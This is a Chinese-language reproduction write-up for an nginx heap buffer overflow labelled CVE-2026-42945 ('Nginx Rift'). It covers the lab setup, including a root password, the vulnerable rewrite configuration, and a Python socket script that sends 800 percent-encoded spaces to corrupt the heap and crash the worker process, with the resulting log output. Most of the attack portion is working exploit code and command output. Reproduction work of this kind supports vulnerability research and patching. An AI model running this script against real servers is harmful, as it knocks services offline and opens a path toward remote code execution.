Nginx-Rift-CVE-2026-42945 Nginx-Rift-CVE-2026-42945 漏洞编号 :CVE-2026-42945漏洞名称 :Nginx RiftCVSS 评分 :9.2 (Critical)漏洞类型 :堆缓冲区溢出 → DoS / RCE影响范围 :Nginx 0.6.27 ~ 1.30.0(约 16 年)复现环境 :Debian 12 (bookworm),Nginx 1.22.1 源码编译复现日期 :2026-06-04
环境信息 项目 值 操作系统 Debian GNU/Linux 12 (bookworm) 内核版本 6.1.0-15-amd64CPU 架构 x86_64 ASLR 状态 启用(randomize_va_space = 2) Nginx 版本 1.22.1(从 nginx.org 源码编译,含 debug 符号) 编译选项 -g -O0(关闭优化)IP 地址 192.168.203.135 Root 密码 debian
Debian 仓库中的 nginx 包(1.22.1-9+deb12u7,构建于 2026-05-15)可能已 backport 了修复,因此从官方源码编译原始版本。
前提条件验证 漏洞触发需要 rewrite 配置同时满足三个条件 :
rewrite 替换字符串中包含 ? 字符正则使用未命名捕获($1、$2 等) 后续存在 set、rewrite 或 if 指令引用这些捕获 1 2 rewrite ^/api/(.*)$ /internal/api?endpoint=$1 ; set $captured_path $1 ;
复现步骤 1. 安装编译依赖 1 2 3 4 su - apt-get install -y build-essential libpcre3-dev libssl-dev zlib1g-dev wget curl
2. 下载并编译漏洞版 Nginx 1 2 3 4 5 6 7 8 9 10 11 12 13 cd /tmpwget -q https://nginx.org/download/nginx-1.22.1.tar.gz tar xzf nginx-1.22.1.tar.gz cd nginx-1.22.1mkdir -p objsCC=gcc ./configure --prefix=/opt/nginx-vuln \ --without-http_gzip_module \ --with-cc-opt="-g -O0" \ --with-ld-opt="-g" 2>&1 | tail -5 make -j$(nproc ) 2>&1 | tail -5 make install 2>&1 | tail -5
确认编译产物:
1 /opt/nginx-vuln/sbin/nginx -V
实际输出 :
1 2 3 4 nginx version: nginx/1.22.1 built by gcc 12.2.0 (Debian 12.2.0-14+deb12u1) configure arguments: --prefix=/opt/nginx-vuln --without-http_gzip_module --with-cc-opt='-g -O0' --with-ld-opt=-g
3. 配置漏洞 rewrite 规则 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 mkdir -p /opt/nginx-vuln/conf/conf.d /opt/nginx-vuln/logscat > /opt/nginx-vuln/conf/nginx.conf << 'NGXEOF' daemon off; master_process on; worker_processes 1; error_log /opt/nginx-vuln/logs/error.log debug; pid /opt/nginx-vuln/logs/nginx.pid; events { worker_connections 1024; } http { error_log /opt/nginx-vuln/logs/error.log debug; access_log /opt/nginx-vuln/logs/access.log; include /opt/nginx-vuln/conf/conf.d/*.conf; } NGXEOF cat > /opt/nginx-vuln/conf/conf.d/vuln.conf << 'NGXEOF' server { listen 8080; root /var/www/html; index index.html; server_name _; rewrite ^/api/(.*)$ /internal/api?endpoint=$1 ; set $captured_path $1 ; location / { try_files $uri $uri / =404; } } NGXEOF
测试配置:
1 /opt/nginx-vuln/sbin/nginx -c /opt/nginx-vuln/conf/nginx.conf -t
实际输出 :
1 2 nginx: the configuration file /opt/nginx-vuln/conf/nginx.conf syntax is ok nginx: configuration file /opt/nginx-vuln/conf/nginx.conf test is successful
4. 启动漏洞版 Nginx 一条一条 执行:
1 nohup /opt/nginx-vuln/sbin/nginx -c /opt/nginx-vuln/conf/nginx.conf &
实际输出 :
1 2 root 13005 0.0 0.0 4476 2868 pts/2 S 02:01 0:00 nginx: master process /opt/nginx-vuln/sbin/nginx -c /opt/nginx-vuln/conf/nginx.conf nobody 13006 0.0 0.0 6184 3072 pts/2 S 02:01 0:00 nginx: worker process
验证可访问:
1 curl -s http://127.0.0.1:8080/
实际输出 :
1 <h1 > Nginx CVE-2026-42945 Test</h1 >
5. 触发堆溢出 创建攻击脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 cat > /tmp/crash_nginx.py << 'PYEOF' "" "Single-shot nginx worker crash via CVE-2026-42945." "" import socket bad_path = "/api/" + "%20" * 800 + "crash" request = ( f"GET {bad_path} HTTP/1.1\r\n" "Host: 127.0.0.1\r\n" "Connection: close\r\n" "\r\n" ) print ("[*] Sending malicious request..." )print (f"[*] Path contains 800 percent-encoded spaces" )try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(3) s.connect(("127.0 .0.1 ", 8080 )) s.send(request.encode()) resp = s.recv(4096) print (f"[+] Got response: {resp.decode(errors='replace').split(chr(13)+chr(10))[0]}" ) s.close() except socket.timeout: print ("[!] TIMEOUT - worker crashed before responding!" ) except ConnectionResetError: print ("[!] CONNECTION RESET - worker crashed mid-request!" ) except Exception as e: print (f"[!] ERROR: {e}" ) PYEOF
执行攻击:
1 python3 /tmp/crash_nginx.py
实际输出 :
1 2 3 [*] Sending malicious request... [*] Path contains 800 percent-encoded spaces [+] Got response: HTTP/1.1 404 Not Found
堆溢出受内存布局影响,不一定每次都崩溃。但即使 HTTP 正常返回,堆也已被悄无声息地破坏——查看错误日志即可确认 glibc 捕获到了堆损坏。
6. 验证崩溃证据 1 tail -10 /opt/nginx-vuln/logs/error.log
实际输出 (关键行):
1 2 3 4 rewritten data: "/internal/api", args: "endpoint=%20%20%20%20%20%20%20%20%20%20... malloc(): corrupted top size worker process 3392 exited on signal 6 start worker process 3621
逐行解读 :
日志 含义 rewritten data: ... endpoint=%20%20...rewrite 生效,$1 捕获 800 个 %20 被放入查询参数 malloc(): corrupted top size🔴 glibc 检测到堆被破坏(top chunk 大小字段被溢出覆盖) worker process 3392 exited on signal 6🔴 worker 崩溃!Signal 6 = SIGABRT(glibc 主动 abort) start worker process 3621master 重启新 worker(PID 从 3392 变成 3621)